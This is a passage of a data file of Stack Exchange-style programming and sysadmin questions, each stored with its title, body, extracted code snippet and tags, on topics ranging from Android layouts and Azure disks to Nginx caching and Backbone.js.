activity idle timeout is all because it falters on the call).\nMy activity Login
has a layout set during OnCreate which works fine, but any subsequent calls fall
over. Here's some code ;)\n\nThe Resource.Designer.cs has a record of my layout:\n\
n...and when I reference that layout by it's int value it falls back to the
previous activity without hitting any breakpoints in the Usage activity.\nAnyone
got any thoughts or can point me in the direction of a similar post?\nLegends!\
nUPDATE\nI tried a whole stack of fixes I found on forums etc but nothing would fix
this. I put the whole thing on the backburner while I worked on something else,
came back to it and now it works...wish I could say what it was that made it work
to help others out but I can't explain it! COULD have been an update to a new
version of MonoDroid?\n", "[Activity(Label = \"Usage\")]\npublic class Usage :
TabActivity\n{\n protected override void OnCreate(Bundle bundle)\n {\n
base.OnCreate(bundle);\n\n //**FALLS OVER HERE**\n
SetContentView(Resource.Layout.Usage);\n", "android monodroid"], "4935923": ["Arrow
with an asterisk superscript and text above?", "I'm trying to create an arrow (or )
that has text above it and also an asterisk superscript \u2014 where the asterisk
is only a superscript for the arrow, if that makes sense.\nI've been trying ; the
asterisk seems to be above for the whole thing together, which I think makes
sense... but I'm wondering if there's a way I could get the asterisk to just be a
superscript to the arrow as if the text wasn't there?\n", "\\mapsto", "math-mode
arrows superscripts"], "4463612": ["How to increase the size of the drive in Azure
VM?", "I have created a VM in Azure, where there were two drives provided to me
with 30GB(C) and 70GB(D) storage. Can the size of drive C: can be increased from
drive D. Does Azure provide the provision to increase the size of the drive from
other drive. Or is there any third party tool to do the size increase.\nCan any
body please provide me inputs.\n", "", "azure"], "3975426": ["RSA encryption.
Breaking 2048 keys with index", "I have some thoughts on this. First, I want to say
I am no expert on cryptography, I just know some stuff, and I took a cryptography
class in University. I am very interested in this topic.\nI understand that many
security experts out there might get angry just by the discussion of these things,
but I hope you can spare me :)\nMy Questions:\nWould it be possible to break an RSA
key, in for example 1 week of time, if the cracker have already spent X number of
years building an index of primes by performing every permutation of existing prime
keys up to 2^2048 ?\nI understand this would take an immense amount of time to do,
but it would only be done once.\nGiven the public key, you would be able to look up
what the two primes are, and hence retrieve the private key instantly.\nWhen I
consider who might break such a code, I am primarily thinking about NSA and other
Governments that might have spent years in research and have the resources and
interest in doing so.\nBreaking an 256 AES would then be easier, as AES keys are
often generated using the RSA private key.\nWould it be possible to build such an
index ? How long would that take in permutations, and perhaps with the fastest
computer in the world ?\nI hope we can have a nice chat about this. We are just
discussion theory here. I hope you can offer me some insight on this topic.\
nThanks!\n", "", "prime-numbers cryptography"], "4151111": ["Delphi Chromium
Embedded: ICefBrowser.GetMainFrame returns NIL", "I'd like to use component which
is part of Delphi Chromium Embedded
(http://code.google.com/p/delphichromiumembedded/). Unfortunately once I build the
application and run it (it's inside 'bin' directory which contains all the CEF
binaries, so no, it's not about missing DLL), the call to returns NIL, which
actually stops me from using DCE at all.\nWinXP 32, Delphi7PE. Any tips?\n",
"TChromium", "delphi delphi-7 chromium tchromium"], "4962893": ["Core Data select
count more than", "I have a Model User with an attribute, let's call it .\nI want
to select the of all Users who has at least other user with the same . In other
words, I want to select all Users with duplicated in the DB.\nI think that in it
would be something like this:\n\n", "keyValue", "core-data select count"],
"5944489": ["Transfering large voxel data to a GLSL shader", "I'm working a program
which renders a dynamic high resolution voxel landscape.\nCurrently I am storing
the voxel data in 32x32x32 blocks with 4 bits each:\n\nWhat I'm trying to do with
this, is send it to my vertex and fragment shaders for processing and rendering.
There are several different methods I've seen to do this, but I have no idea which
one will be best for this.\nI started with a format, but that results in floating
point output between 0 and 1. I also had the hinting suspicion that it was storing
it as 16 bits per voxel.\nAs for Uniform Buffer Objects I tried and failed to
implement this.\nMy biggest concern with all of this is not having to send the
whole map to the GPU every frame. I want to be able to load maps up to ~256MB
(1024x2048x256 voxels) in size, so I need to be able to send it all once, and then
resend only the blocks that were changed.\nWhat is the best solution for this short
of writing OpenCL to handle the video memory for me. If there's a better way to
store my voxels that makes this easier, I'm open to other formats.\n", "struct
MapData {\n char data[32][32][16];\n}\n\nMapData *world = new MapData[(width >>
5) * (height >> 5) * (depth >> 5)];\n", "c++ opengl glsl"], "1254241": ["Plugin
development: How many plugin and WordPress version combinations to support?", "I'm
developing a plugin (my first plugin), and I wonder how to think about [supporting
and testing various plugin version and WordPress version combinations].\nFor
example, if I develop a plugin, and release versions 1.0 and 1.1 and 2.0.
Meanwhile, WordPress releases versions 3.2, 3.3 and 3.4.\nNow, at the one extreme:
Should I assume that people upgrade their WordPress installations, and upgrade the
plugin as well? That is, I would test the most recent plugin version against the
most recent WordPress version, only?\nOr, at the other extreme: I assume that, for
various reasons, people are not able to upgrade to the latest WordPress release. So
I test plugin version 1.0, 1.1 and 2.0 against WordPress 3.2, 3.3 and 3.4. (That
is, 9 combinations.)\nWhat would be reasonable to do? (What do people usually do?)\
n(I'd be happy to provide more details \u2014 what would you need to know?)\n", "",
"plugin-development wordpress-version testing"], "5824780": ["geometric
charaterization of complex interpolation spaces $(H,Y)_\\theta$ where $H$ is a
Hilbert space?", "Let $C$ be the class of Banach spaces $X$ such that there exists
$0<\\theta<1$, a Hilbert space $H$ and a Banach space $Y$ such that\n$$\nX=(H,Y)_\\
theta\n$$\n(complex interpolation of Calderon).\nDoes there exist a geometric
charaterization of this class of Banach spaces?\nI know that a Banach space $X$ in
$C$ is uniformly convex.\n", "", "functional-analysis reference-request banach-
spaces hilbert-spaces"], "1224525": ["Integration tests detailed", "I have a WCF
service that accesses the database and adds data to it.\nnow, I want to do some
integration and/or system tests (automated).\nHow do I do it ?\nI have to access
the database, load initial data, call the service and then verify whether the data
expected was actually loaded in the table.\nis there any strategy for doing that
you would recommend ?\nI'm using WCF, Entity Framework, SQL Server, MSTests.\n",
"", "c# .net unit-testing mstest"], "3626324": ["How to monitor process hogging CPU
on a remote server", "I have a remotely hosted (virtual, VMware) dedicated server
(Windows 2008 Server Web edition w/ SP1) that I can only connect to over Remote
Desktop. Lately, a process hogs CPU for ~40 minutes most every day (at a random
hour) and brings all web sites on the server down. While this is going on I also
cannot connect using Remote Desktop to investigate on what is that process...
Promptly after 40 min I can RD and the first thing I see on the Perf Monitor is
that there was something topping the CPU at 100% and stops just before I'm able to
RD... I'm aware of the beginning and end of this for I have monitors setup that
email me up/down status of the web sites but I'm locked out while this is happening
- can't RD to the server until it's over (and too late to see the Task
Manager/Process Explorer picture).\nWhat is the best way/tool to setup on the
server to continuously monitor all processes so when this happens I login
and \"replay\" it to find the process causing this trouble?\n(I have no control
over the virtual/VMware setup for it is hosted by a 3rd-party but I have most full
control over my dedicated machine)\nThanks in advance!\n", "", "windows-server-2008
cpu-usage
cpu-hogging"], "5084703": ["Why Backbone.View object still remains in memory?", "I
have simple view that shows dialog box. \n\nIt has its own default values.
Everytime I'm initializing new dialog its values persists between every dialog
invocation. For example when I'm invoking dialog for the first time:\n\nAfter that
I'm invoking another dialog without property so it should use default one (which
is ), but it stays true. This applies to every other property. Why does this
happen?\n", "Backbone.View.prototype.completeRemove = function(){\n
this.undelegateEvents();\n this.remove();\n delete this.$el;\n delete
this.el;\n console.log('completely removed')\n}\n\nMdApp.dialogBox =
Backbone.View.extend({\n\n defaults: {\n text: __('No text provided'),\n
buttonText: __('Ok'),\n callback: function(){\n return null;\n
},\n el: $('#app-panel'),\n type: 'error',\n cancellable:
false,\n cancelText: __('No'),\n picture: pic('default')\n },\n\n
el: '<div class=\"dialog-box\">',\n\n template: _.template($('#dialog-box-
template').html()),\n\n events: {\n 'click .confirm' : 'confirm',\n
'click .cancel' : 'cancel'\n },\n\n initialize: function(){\n
this.model = _.extend(this.defaults, this.model);\n this.render();\n },\
n\n render: function(){\n var model = this.model;\n this.
$el.html(this.template(model));\n model.el.append(this.el);\n },\n\n
confirm: function(){\n var model = this.model;\n var view = this;\n
this.completeRemove();\n model.callback();\n },\n\n cancel: function()
{\n this.completeRemove();\n }\n});\n", "javascript backbone.js
underscore.js javascript-framework"], "3079530": ["What's the difference between
declaring an intent-filter in an activity vs. a receiver?", "I would like my
application to be registered a handler for phone calls via the \"Complete action
using...\" dialog. I've found that it works if I use the following syntax in my
manifest:\n\nbut if I register it as a broadcast receiver, my app doesn't show up
in the \"Complete action using...\" dialog.\n\nWhat's the difference between the
two apart from the type of class that's going to be called once an Intent matches
the filter?\n", " <activity android:name=\"my.class\">\n <intent-filter>\n
<action android:name=\"android.intent.action.CALL_PRIVILEGED\" />\n
<category android:name=\"android.intent.category.DEFAULT\" />\n <data
android:scheme=\"tel\" />\n </intent-filter>\n </activity>\n", "android
android-intent android-manifest"], "685226": ["IntelliJ, Akka and Configuration
files", "When using akka, I place in . When I through sbt, the is correctly
recognized. But not when I run through IntelliJ (even after a ). What is the
appropriate way to accomplish this?\n", "akka.conf", "scala intellij-idea sbt akka
sbt-idea"], "294718": ["What's your suggestion if the company didn't recognize my
contribution towards a big project?", "I am an entry level developer with 1 year of
experience. I have worked on a large scale project which I have played around 80%
of the project work, those 5 months were terrible to me - late nights spent
working, even Sundays.\ni have worked on whole Process Model , doing some of my
colleagues work ,DB Design ,client feedback all this but the point is some of my
work been owned by my Team Lead & hope now realize why i mention 80% of work is
done by me! \nNow the project is completed, and the client seems completely
satisfied with the work.\nBut, I haven't found the company to give any sort of
encouragement / appreciation. My seniors who where not involved in the project were
given praise, leave, bonuses, etc. Also I was rejected permission to attend an
important family function - that makes me ask \"what's the credit I have now\"?\nI
have been wondering, is being honest/dedicated to the job what resulted in this
situation?\nI have currently gotten 3 offers with good package - I've been thinking
to move on to any of the companies now. What's your suggestion at this point of
time?\n", "", "management people-management"], "6007754": ["how to split a string
into words and passing them as parameters in C/C++", "i have a string
dArray_p1_p2.now how can i split the string into individual pieces dArray,p1 and
p2.and how can i pass them as parameters to another function dynamically.\nmy
sample function call will look like gsl_stats_mean(dArray,p1,p2);\nnote:dArray,p1
and p2 types could be any primitive datatypes of C/C++.\n", "", "string jni"],
"5095841": ["Detect when page loaded with firefox extension", "How to detect when a
page is loaded (in any tab) with a firefox extension (automatically, no start-
button or anything) (and display an alert message for example) ?\n", "", "firefox
firefox-addon"], "4877088": ["Add Random Number in PHP Code to Create and Show
Random Image", "I have this php code like:\n\nI want to add a random number infront
of captcha so captcha.jpg becomes like captcha3432.jpg and next time
captcha9787.jpg.\nwith\n\nHow do I add $number2 infront of captcha like >
captcha$number2.jpg\nPlease advise.\n", "imagejpeg($img, \"mydir/captcha.jpg\",
100);\n", "php caching random captcha"], "3507703": ["Add a InfoBox in the media
upload window", "I am trying to add a InfoBox (just infotext for the user) to the
media upload popup window (se mockup link). Any tips on how to adress this feature?
Filter hook? Other solution?\nThanks in advance.\nMockup of InfoBox\nEdit\nProblem
solved\n\n", "function media_upload_infobox() {?>\n<!-- Start infobox -->\n<div
class=\"media-infobox\" style=\"background:#ffff99; color:#555555; border: #CCCCCC
1px; border-radius: 10px 10px 10px\n 10px; padding:5px;\">\n <h4
class=\"media-infobox-sub-title\" style=\"font-family: Georgia,Times,serif; font-
weight: normal; color: rgb(90, 90, 90); font-size: 1.3em; margin: 12px;\">Your
header here.</h4>\n <p class=\"media-infobox-infotext\" style=\"margin:12px;\">
Infotext here</p>\n</div>\n<!-- Stop infobox -->\n\n<?php\n\n} // End function
media_upload_infobox\n\n// Add function to Action Hook\nadd_action('pre-flash-
upload-ui','media_upload_infobox');\nadd_action('pre-html-upload-
ui','media_upload_infobox');\n\n?>\n", "customization uploads"], "5084702": ["Can I
create a DC without a DNS Server?", "So as the title says, I need to promote a
standalone Win2008R2 server to a Domain Controller, and I don't a DNS Server (I
think), as there will be no clients connected to the domain, it will be only used
for Remote Desktop Services. Yes, I know, it's considered bad practice to install
other roles on the DC, but in this case, it's necessary.\nDo I need to install the
DNS Server, and if I do, how to make it as transparent as possible?\nEDIT: Seems
that I need to install the DNS Server, so I can I configure it not to mess up my
entire domain?\nFor example:\nThe server I need to promote is , and it has an A
entry to it's IP in the current DNS, while other servers under are running Linux
and don't need to know anything about this Windows box. The domain uses a third-
party DNS and all edits and updates need to be done via a separate web page, our
servers don't have write/update access.\n", "rdc.mydomain.com", "windows-server-
2008-r2 domain-controller dns-server"], "2732412": ["SQLite Delphi thowing up
incorrect exception", "\nProject CompetitionServer.exe raised exception class
ESQLiteException with message 'Error executing SQL.\n Error [1]: SQL error or
missing database.\n \"INSERT INTO
MatchesTable(MatchesID,RoundID,AkaFirstName,AoFirstName)VALUES(1,2,p,o)\": no such
column: p'. Process stopped. Use Step or Run to continue.\n\nYes, p is NOT a
column, it is the data I am trying to insert. How can I fix this problem?\n", "",
"sql delphi exception sqlite"], "1831245": ["From within a servlet how do you
access a variable set inside a corresponding servlet filter?", "I'd like to use the
following filter to open and close persistence managers.\n\nWhat I don't know is
how to access the variable from inside the corresponding servlet that gets called
after this filter.\n", "public final class PersistenceFilter implements Filter {\n
private static final PersistenceManagerFactory persistenceManagerFactory\n =
JDOHelper.getPersistenceManagerFactory(\"transactions-optional\");\n\n private
static PersistenceManagerFactory factory() {\n return
persistenceManagerFactory;\n }\n\n private static ThreadLocal currentManager
= new ThreadLocal();\n\n public static PersistenceManager getManager() {\n
if (currentManager.get() == null) {\n
currentManager.set(factory().getPersistenceManager());\n }\n return
currentManager.get();\n }\n @Override\n public void
doFilter(ServletRequest req, ServletResponse res,\n FilterChain chain)
throws IOException, ServletException {\n PersistenceManager manager =
null;\n try {\n manager = getManager();\n //Optional:
allow all persistent objects implementing a custom interface\n //to be
notified of when they are saved and loaded.\n
manager.addInstanceLifecycleListener(new PersistHookListener(),
PersistHooks.class);\n chain.doFilter(req, res);\n } finally {\n
if (manager != null) {\n manager.flush();\n
manager.close();\n }\n }\n }\n @Override\n public void
init(FilterConfig arg0) throws ServletException {}\n @Override\n public void
destroy() {}\n}\n", "java google-app-engine servlets variable-scope servlet-
filters"], "4233262": ["Configuring Frame Relay using a Switch Simulation - Packet
Tracer", "I have the following set up in Packet Tracer:\n\nI am trying to configure
frame-relay between the RTR-EDGE router, the RTR_ENG router and the RTR_SAL router
using a frame-relay switch simulation (the cloud). I have used the following
commands:\n\nAnd the circuit appears in the map of each router:\n\nHowever, neither
of the three routers can ping each other? Does anyone have any ideas as to why not?
I have looked at a few tutorials on the internet and their commands are the same as
mine, however theirs works and mine doesn't..\nAny help would be appreciated!
Thanks\n", "RTR_EDGE(config)#int s3/0\nRTR_EDGE(config-if)#encap frame-relay\
nRTR_EDGE(config-if)#frame-relay map ip 172.20.1.109 101 broadcast\
nRTR_EDGE(config-if)#frame-relay map ip 172.20.1.113 102 broadcast\
nRTR_EDGE(config-if)#ip address 172.20.1.117 255.255.255.252\nRTR_EDGE(config-
if)#frame-relay lmi-type cisco\nRTR_EDGE(config-if)#no shutdown\n\
nRTR_ENG(config)#int s0/0\nRTR_ENG(config-if)#encap frame-relay\nRTR_ENG(config-
if)#frame-relay map ip 172.20.1.117 200 broadcast\nRTR_EDGE(config-if)#ip address
172.20.1.109 255.255.255.252\nRTR_ENG(config-if)#frame-relay lmi-type cisco\
nRTR_ENG(config-if)#no shutdown\n\nRTR_SAL(config)#int s0/0\nRTR_SAL(config-
if)#encap frame-relay\nRTR_SAL(config-if)#frame-relay map ip 172.20.1.117 200
broadcast\nRTR_SAL(config-if)#ip address 172.20.1.113 255.255.255.252\
nRTR_SAL(config-if)#frame-relay lmi-type cisco\nRTR_SAL(config-if)#no shutdown\n",
"cisco packet"], "2405686": ["Invalid Argument while Creating Socket", "I'm facing
problem while creating a socket, with configuration as mentioned below,\nCode : \n\
nError Details : \nThe error is not quite consistent. Out of 10 run this will
happen for 3 - 4 times.\nThe code is compiled for the Android OS (For MAC & Windows
platform it work for 10 out of 10).\nPlease suggest the possible reason and also
fix for this.\n", "sid = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n", "android c
network-programming"], "3553034": ["get Mimetype and encoding charset of text?",
"Hi Everyone,\n I am fetching a text from my DB and before inserting the
text into db i know that the encoding of text is ISO-8859-1 , but after fetching
from db and before loading this text i am checking the encoding through this code\
n\nand i am getting in the log for the encoding of the text is UTF-8. And this text
is not getting loaded on the webview with this method : \n\nplease suggest me a
correct way to solve this problem.\n", "InputStreamReader is = new
InputStreamReader(new ByteArrayInputStream(body.getBytes()));\
nis.getEncoding(); \nLog.v(\"encoding\", \"\"+is.getEncoding());\n\n// String
body = fetched from db \n", "android character-encoding webview mime-types"],
"5084705": ["RavenDB Spatial Queries Not Returning Results", "I'm getting 0 results
with the following, which I don't think should be the case.\nQuery code:\n\nIndex
Code:\n\nModel:\n\nUnit test (calls the query code)\n\nAny idea what I'm doing
wrong here? Seems like it should be pretty straightforward...\nThanks\n", " var
sourceResults = session.Advanced.LuceneQuery<Route>(\"Routes/BySource\")\n
.WithinRadiusOf(5, toMatch.Source.Location.Latitude,
toMatch.Source.Location.Longitude)\n .WhereBetween(r => r.DateTime,
minDateTime, maxDateTime).ToArray();\n", "ravendb"], "6003954": ["Xcode : text
changes", "How do I have to make an app that the user enters an text in a textfield
and that when he press it gives the text bubbles or flipped or mirrored and like
this action. I know the code for the hello button for example but not the code for
to get the text bubbled or ...\nAny idea ?\nThanks !\n", "", "cocoa xcode text sdk
uitextfield"], "1897088": ["Display control on another panel", "I have on my
winform two panels:on the first panel I have an that can be multiplied
dynamically. I want,on the second panel,to be displayed the that is selected by
the user. The idea is that,I want ,if I change the text at runtime of my ,these
changes to be displayed on the second panel too. I need an idea how can I do that.
I am trying now to create properties for each object of my and events,but I think
is too much to do for this. . Thanks.\nMy code,what I have tried so far:\nOn my
usercontrol I have created properties for each object that this contains. Code on
usercontrol.cs:\n\n", "usercontrol", "c# usercontrols panel"], "1722119": ["Convert
a string to decimal in VB.NET", "What will be the easiest way to convert a string
to decimal?\nInput:\n\nOutput will be\n\nI tried to use this code:\n\n", "a =
40000.00-\n", "vb.net string format decimal"], "3222231": ["Actively developed text
browser", "I am looking for \"the modern\" lynx/links/elinks fork or equivalent
that's actively maintained and can be considered the most advanced of the genre,
please.\nI have looked at this already:
http://web-browsers.findthebest.com/compare/18-25-26/ELinks-Web-Browser-vs-Lynx-
Web-Browser-vs-Links-Web-Browser\nThis question is similar to this
http://stackoverflow.com/questions/604666/elinks-or-lynx but allows consideration
of other programs as well.\n", "", "lynx links"], "4482605": ["CSS file based on
the domain through which the application was accessed", "I have a asp.net MVC
application. This application is going to be called from different domain names. I
need to apply the CSS file to the application based on the domain it was called
from. Is there a way I can do this on the master page?\n", "", "css asp.net-mvc
master-pages"], "1436701": ["Why does my Macbook not find my wireless network?",
"We have a Belkin router, a desktop PC connected via LAN cable, and various other
devices connected via wifi. Our Macbook connected fine until upgraded to Leopard
upon which it just flat out refused to connect. Nothing change on the router side
and the settings in the Macbook appear the same.\nAny ides on what may be the issue
here?\n", "", "wireless-networking router macbook"], "3030863": ["Ruby on Rails
reload current page?", "I currently have a login popup in my header bar which is on
every page in my website. I want to be able to reload the current page that the
person is on after a successful login. How do I do this in the controller?\n\
nThanks\n", "def create\n #declaring and defining user variable stuff\n if
user.save\n #reload current page <--how do I do this?\n end\nend\n", "ruby-on-
rails ruby ruby-on-rails-3 url-routing"], "838843": ["WP 3.4 has missing photo
data", "I just updated to WP3.4 and discovered that previously available images are
no longer \"found\" by the system. By this I mean that all the image files remain
online and accessible, but WP has lost thumbnail data and subsequently shows the
standard media icon on the media library list. Front-facing pages that should have
images are now displaying the generic \"image missing\" icon because there is no
URL (I checked the source).\nMy guess is that somehow the connection between
database and image listings have broken, and I\"m trying to reverse engineer them
to find differences. Hopefully there are others with a similar problem and have
worked through it?\n", "", "images database thumbnails debug"], "5084704": ["VB.Net
Function Optimization (SSRS Report Code)", "I came across the following code
recently and would like to optimize it:\n\nNote that Action 0 is the most common
case.\nOkay, I've already cleaned up this function a bit--it was using a variable
and returning it at the end, and using Return seems better. But additionally, I
think it would be better code to build an array at the beginning of the report
execution, and then just access array elements each time this function is called,
instead of using a Select statement. But case 12 is making things more complicated
(as you can see, it adds the prefix in the middle instead of at the beginning.)\
nWhat do you think would be the best way:\n\nOne time building a 39-element array
for the three cases:\n\nThen in the function accessing it like so:\n\nUsing a 13-
element array with a Replace (something like ?)\nUsing a 12-element array with a
special case for Action 12.\nSomething else I haven't thought of.\n\n?\nUpdate 1:
my formatting was off so the options might have been unclear. It should be more
readable now.\nUpdate 2: I see what you mean that from a performance perspective,
fully expanding all the cases and using simple variable assignment is probably
fastest. So... let's say top speed is not the priority, but overall elegance is (a
combination of clean code and speed). Any chance people could give their take on
that, too? I'll vote everyone up who gives reasonable help for all aspects of the
question.\nUpdate 3: One additional consideration I was ignoring is that some non-
experienced programmers are going to be maintaining this long-term, so it does need
to be easy to understand. I guess my examples of trying to shorten the code really
aren't good from this perspective.\nUpdate 4: TESTING IS KING OVER ALL!!! Once I
was inspired to do some speed tests, I got some interesting results. See my answer
below.\n", "Public Shared Function ComputeLabel(ByVal Action As Integer, ByVal
Flag1 As Boolean, ByVal Flag2 As Boolean) As String\n Dim Prefix As String
= \"\"\n\n If Flag2 Then\n Prefix = \"Conditional \"\n ElseIf Flag1 Then\n
Prefix = \"Held \"\n End If\n\n Select Case Action\n Case 0\n
Return \"\"\n Case 1\n Return Prefix & \"Cancelled\"\n Case 2\n
Return Prefix & \"Discontinued\"\n Case 3\n Return Prefix
& \"Suspended\"\n Case 4\n Return Prefix & \"Unsuspended\"\n Case
6\n Return Prefix & \"Collected\"\n Case 7\n Return Prefix
& \"Released from Hold\"\n Case 8\n Return Prefix & \"Modified\"\n
Case 9\n Return Prefix & \"Discontinued for the Future\"\n Case 10\n
Return Prefix & \"Verified\"\n Case 11\n Return Prefix & \"Modified
And
Verified\"\n Case 12\n Return \"Hold \" & Prefix & \"Cancelled\"\n
Case Else\n Return \"\"\n End Select\nEnd Function\n", "vb.net
optimization reporting-services"], "5262525": ["Detect a toolTip launch java",
"Hey,\nis there any way to detect the launch of a tool tip on a swing component in
Java?\nCant even think where to start on this one.\ncheers\n", "", "java swing
tooltip"], "1875713": ["Tools to find out what is slowing down a C program?", "I
have a program made up of several .h and .c files and a lot of functions. And there
are functions which call other functions and so on.\nNow, this is actually an
assignment so I know how much time the program needs to reach the end.\nThe problem
is, my program takes too much time compared to the times I am given.\nIs it
possible to find out which function is taking too much time or which part of the
code is holding the program down?\nEDIT: I did not give the code here because it is
too long. I know that no one can answer why \"my program\" is slow but I am talking
in general!\nIs there a tool that measures how much time each function takes or
something similar?\nI am using gcc and I'm on linux.\nEDIT2: @dbaupp: Thanks. This
was exactly what I was looking for.\n@Ed S.: I did use the search function but I
was not sure what I was looking for so I was stumbled with all the different
results that I had. And I did not know that measuring performance -profiling- would
depend on the platform. Take it easy mate :)\nThanks all! Cheers.\n", "", "c
performance homework time"], "2798586": ["How to evade negative (-1) result
jquery", "I'm developing a post slideshow for wordpress on jquery. I got to say I'm
no expert and this is my first time working with jquery or javascript.\nEverything
works perfect the code works just fine the post rotate each x seconds, there is two
div's which move post left(previous) or right(next) on click, it works fine but on
the first post (0) when you click left (previous) it shows nothing since 0 - 1 = -1
there is no -1 post and what is supossed to show is the last post (4).\nI tried if
{ } else if { } but as I said I'm no expert and I can't find a solution by myself.\
nAny help is apreciated.\nThe code...\n\nThe problem is here...\n\nWhen in first
post (0) result is -1 what I need is to show last post(4)\nIf you got a solution I
really appreciate it.\n", "$(\"#switch-izquierda\").click(\n function() {\n $
(\"#lista-contenedor-rotatorio li:eq(\"+img_actual+\")\").fadeOut(1600);\n
img_actual = (img_actual -1) % cuenta;\n $(\"#lista-contenedor-rotatorio
li:eq(\"+img_actual+\")\").fadeIn(2000);\n });\n", "jquery"], "1005854": ["Transfer
files between two NAS units on same network", "So I have two Seagate BlackArmor 400
NAS units and I want to transfer a lot of files from one to the other.\nI can
access both through a browser GUI and also are the shares I want to transfer
between available in my Network Location in Windows 7. I guess that's the CIFS
thing there but not sure.\nHowever if I just drag and drop or use something like
TeraCopy the speed is very bad. It's like the file actually transfers through my PC
which is wireless and not getting great speed.\nThe Seagate blackarmor has a
download manager that supports http and ftp and the share is ftp enabled but I have
no idea how it's url would be on local network ( there is no DNS setup for the FTP
but it's marked as enabled ).\nDoes anyone know of a good solution for me to
transfer the files between the 2 NAS system without having a PC in between and
getting good speed. \n", "", "networking ftp network-shares nas seagate"],
"5176906": ["Getting to the managed objects in NSTableView", "I have an bound to
an , which is bound to an with one Entity. How can I programmatically set a
property on the object currently selected in the table view? I tried doing it
directly through\n\nbut that gave me an exception:\n\nI tried to bind table
selection to an and set the value on that, but it didn't work.\n", "NSTableView",
"cocoa cocoa-bindings nstableview"], "5124022": ["Multiple File Type Parser", "this
is my first post here. I'm excited to finally take part.\nI'm working on a project
where I'm parsing obscure files types. I need to be able to parse word (which I've
already done), .sbs, .day, .cmp, and more. All of these types can be opened simply
with notepad and displayed. \nSince I'm so new to this stuff, is there a way I can
use some generic library (or two) to open all of these up? And if so what library
would it be?\nWhat's a best practice in this sort of circumstance?\nThanks!\n", "",
"java parsing"], "939697": ["Nginx, SiginalR and FastCGI with mono: No application
found", "I'm trying to get a setup running with all these and I'm failing so hard
right now. I mostly want to test Websockets, and since IIS 7.5 doesn't support
them, I'm trying to set it up with Nginx and Mono/FastCGI.\nSo, everything is
Windows based, no linux, no unix: windows. Right now, all I'm getting from calling
http://localhost:7171/app (or http://127.0.0.1:7171/app) is this error:\n\n\n\nHere
are the configs right now:\nfastcgi.conf\n\nfastcgi_params\n\nnginx.conf\n\nand
here's the cmd line used to start fastcgi:\n\nThanks a bunch!\n", "No Application
Found\n\nUnable to find a matching application for request:\n\nHost
localhost:7171\nPort 7171\nRequest Path /app/index.html\nPhysical Path C:\\
nginx\\html/app/index.html\n", "mono nginx fastcgi signalr"], "4551771": ["How to
create semi-transparent image using imagemagick", "I have a hex (i.e. #FF0000)
color and want to generate 50% transparent 50x50 image using imagemagick from
command line.\n", "", "png transparency imagemagick"], "3430687": ["continuos(2-3
seconds interval) to apache server through javascript", "I developed one web
application in which i am using AJAX polling to the server page i.e. servlet and
getting the updated data after every 2-3 seconds ad its working fine, will 60-70
concurrent users pinging to the server for data affects the server load much? Will
it make the server crash?\nMy Servlets are getting data from web service and I'm
getting everything fine. But dont have much knowledge about the server load.\
nPlease help me out.\nThanks,\nArs\n", "", "javascript servlets"], "71669": ["Dtach
and Vim over Ssh: Reattach Session", "I connected to my server:\n\nWhile in the
server, I open a session with :\n\nThen my ssh session dies. I attempt to go back
to my session:\n\nI do not get vim, but instead just a blinking cursor. I cannot do
anything from there, not even ctrl+c, I can only detach the with ctrl+\\.\nHow can
I get my dtach session back properly? Or am I missing the idea of how dtach is
supposed to behave?\nN.B. I am well aware of the and utilities.\n", "$ ssh
[email protected]\n", "ssh terminal nohup dtach"], "314826": ["Preemptive Basic
authentication with Apache HttpClient 4", "Is there an easier way to setup the http
client for preemptive basic authentication than what described here?\nIn previous
version (3.x) it used to be a simple method call (eg, ).\nThe main thing I want to
avoid is adding the BasicHttpContext to each method I execute.\n",
"httpClient.getParams().setAuthenticationPreemptive(true)", "java httpclient basic-
authentication http-basic-authentication"], "4391698": ["Nginx Stale Cache and
proxy_cache_path", "I've put Nginx in front of a php app server as a reverse proxy
to cache the dynamic content and save some hits to php.\nI've configured Nginx with
the settings below with the hope that I will achieve the following behavior.\n1)
Nginx will cache 200 status code content for 20m before it attempts to refetch from
the app servers\n2) The cache will remain in place for up to 7 days to handle
stale requests for infrequently accessed content.\n3) Requests that come in 20
minutes after the content was originally cached will fire off a request to the
backend for a fresh update, but will serve the stale version so the client get's an
instant response.\n\nUPDATE:\nAfter running some more tests and watching the server
logs, it appears that content that is more than 20m old is not being served from
the cache as stale, but instead is just building up in the cache_file_system.\nAny
ideas how to get Nginx to serve stale content for an extended period of time? The
use case is basically caching infrequently accessed content that is expensive to
generate on my app servers. Being able to serve stale items several days after
they have expired in the cache when a hit finally comes in would be a great
performance boost. If this isn't possible with Nginx, I'm open to other
proxy/caching options (I'm only using this Nginx instance as a cache).\n",
"proxy_cache_path /var/lib/nginx/cache levels=1:2
keys_zone=staticfilecache:512m inactive=7d max_size=15000m;\nproxy_cache_use_stale
timeout updating error invalid_header;\nproxy_cache_valid 200 20m; \
nproxy_cache_valid 404 1m;\nproxy_cache_valid any 15m;\n", "nginx
cache"], "2179118": ["Windows Mobile - .NET CF: How to connect to the internet via
PC?", "I'm wondering is it possible to develop a small application (C#, .NET
Compact Framework, maybe using Windows Mobile SDK (I don't know yet)) which will be
able to connect to the internet when my phone is connected to the PC. Any ideas ?\
n", "", "c# windows-mobile compact-framework"], "1777848": ["DefaultListModel
doesn't changeing when ArrayList was sorted", "I have a problem with showing
results of method which sorting Person object by name . This method works perfect
when I put it in wchich is loading some names and put it in Person object and then
put every single Person to ArrayList. DefaultListModel refreshing Jlist so it
works great. But when I put method to other claas which I connect to single button
it doesn't work . I don't know if model doesn't see that was sorted or I probably
don't know how to use \nMain.java\n\n",
"sortujKolekcjePoImionach()", "java swing sorting collections defaultlistmodel"],
"5755303": ["Pandas DataFrame aggregate function using multiple columns", "Is there
a way to write an aggregation function used in method that would have access to
more then one column of the data being aggregated? Typical use cases would be
weighted average, weighted standard deviation funcs.\nI would like to be able to
write something like\n\n", "DataFrame.agg", "python pandas"], "907951": ["Android 4
ActionBar - changing textColor when using Action Bar Sherlock", "I am using the
ActionBarSherlock and almost everything seems to work fine.\nBut I want the title
text color in white. When using the Sherlock-Actionbar it works fine but not with
the original ActionBar in Android 4\nIn an act of desperation I tried this:\n\nand
found that the background changed as told to white. So this is obviously the right
place to change. But still changing the textColor to white doesn't work for me.\
nI'm using this as my Theme:\n\nSo any idea what could be the problem? Why is it
